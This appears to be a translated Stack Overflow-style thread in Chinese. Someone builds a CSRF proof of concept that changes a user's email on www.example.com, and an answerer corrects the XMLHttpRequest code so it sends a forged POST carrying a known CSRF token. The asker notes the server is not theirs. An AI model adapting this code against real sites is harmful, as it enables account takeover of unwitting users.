2017-07-02 98 views
0

說明服務器:發送HTTP POST請求,用指定的CSRF令牌

我想創建一個CSRF POC,但問題是,CSRF令牌是需要在www.example.com爲了防止CSRF攻擊。 幸運的是,我設法創建了一個有效的,總是的CSRF-Token;可以說「abcdef」。所以現在我可以創建一個有效的CSRF POC,只要我可以發送CSRF-Token。 這是可能與例如AJAX?我搜查了半個小時,但在這方面找不到任何答案,但我想這就是我。

這是我的POC至今:

<form action="http://www.example.com/change-mail" method="post"> 
     <input type="submit"> 
     <input type="hidden" name="email" value="[email protected]"> 
     <!-- TODO: Send the CSRF-Token "abcdef" with it too! --> 
    </form> 

幫助表示讚賞。

編輯@丹尼爾

會是這樣的工作?

HTML部分:

<!DOCTYPE html> 
<html> 
<head> 
    <script type="text/javascript" src="test.js"></script>  
</head> 
<body> 
<b>Email</b><br><br> 
    <form id="email"> 
     <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label> 
     <input type="text" id="email" /> 
     <br><br> 
     <input type="button" id="email" value="email"/> 
    </form> 
    </body> 
</html> 

JavaScript部分:

<script> 
window.addEventListener('DOMContentLoaded', function() { 
var email = document.querySelector('input#email'); 


email.addEventListener('click', function() { 
    var emailStr = email.value, 
     url="http://www.example.com/change-mail"; 
    if (window.XMLHttpRequest) { 
     xmlHttpReq = new XMLHttpRequest(); 
    } 
    else if (window.ActiveXObject) { 
     xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); 
    } 
    xmlHttpReq.open('POST', url, true); 
    xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
    xmlHttpReq.setRequestHeader('X-CSRF-Token', abcdef); 
    xmlHttpReq.send("email="+emailStr); 
    </script> 

在此先感謝,我必須處理響應嗎? 現在,當我點擊電子郵件按鈕時,當我登錄HTTP請求時,沒有任何反應......太糟糕了。

+0

你能後的Ajax調用的JavaScript? –

+0

你是什麼意思?爲了確保,www.example.com不是我的服務器。 – Yahboysurge

+0

您需要編寫javascript代碼才能進行ajax調用。看看我的意思是在這裏:https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files –

回答

0

當前代碼存在一些問題,我在下面更正了它。

window.addEventListener('DOMContentLoaded', function() { 
 
    var email = document.querySelector('input#submit'); 
 
    
 
    email.addEventListener('click', function() { 
 
     var emailStr = email.value, 
 
     url="http://www.example.com/change-mail"; 
 
     if (window.XMLHttpRequest) { 
 
     xmlHttpReq = new XMLHttpRequest(); 
 
     } 
 
     else if (window.ActiveXObject) { 
 
     xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); 
 
     } 
 
     xmlHttpReq.open('POST', url, true); 
 
     xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
 
     xmlHttpReq.setRequestHeader('X-CSRF-Token', 'abcdef'); 
 
     xmlHttpReq.send("email="+emailStr); 
 
    }); 
 
    });
<!DOCTYPE html> 
 
<html> 
 
    <body> 
 
    <b>Email</b><br><br> 
 
    <form id="emailform"> 
 
     <label for="email">&nbsp;Email&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label> 
 
     <input type="text" id="email" /> 
 
     <br><br> 
 
     <input type="button" id="submit" value="email"/> 
 
    </form> 
 
    </body> 
 
</html>

原來的答案: 您可以將頭添加到您的XMLHttpRequest(AJAX)調用:

xhr.setRequestHeader('X-CSRF-Token', csrf_token); 
+0

謝謝Daniël!我該如何結合ajax調用和post參數。猜猜我不能這樣做: '

' – Yahboysurge

+0

抱歉,如果這是一個愚蠢的問題。我剛剛對ajax和其他一些ish – Yahboysurge

+0

這是一個很好的問題,其中涵蓋了一些JavaScript的Ajax表單交互https://stackoverflow.com/questions/20349635/how-to-use-xhr-in-pop-up-window –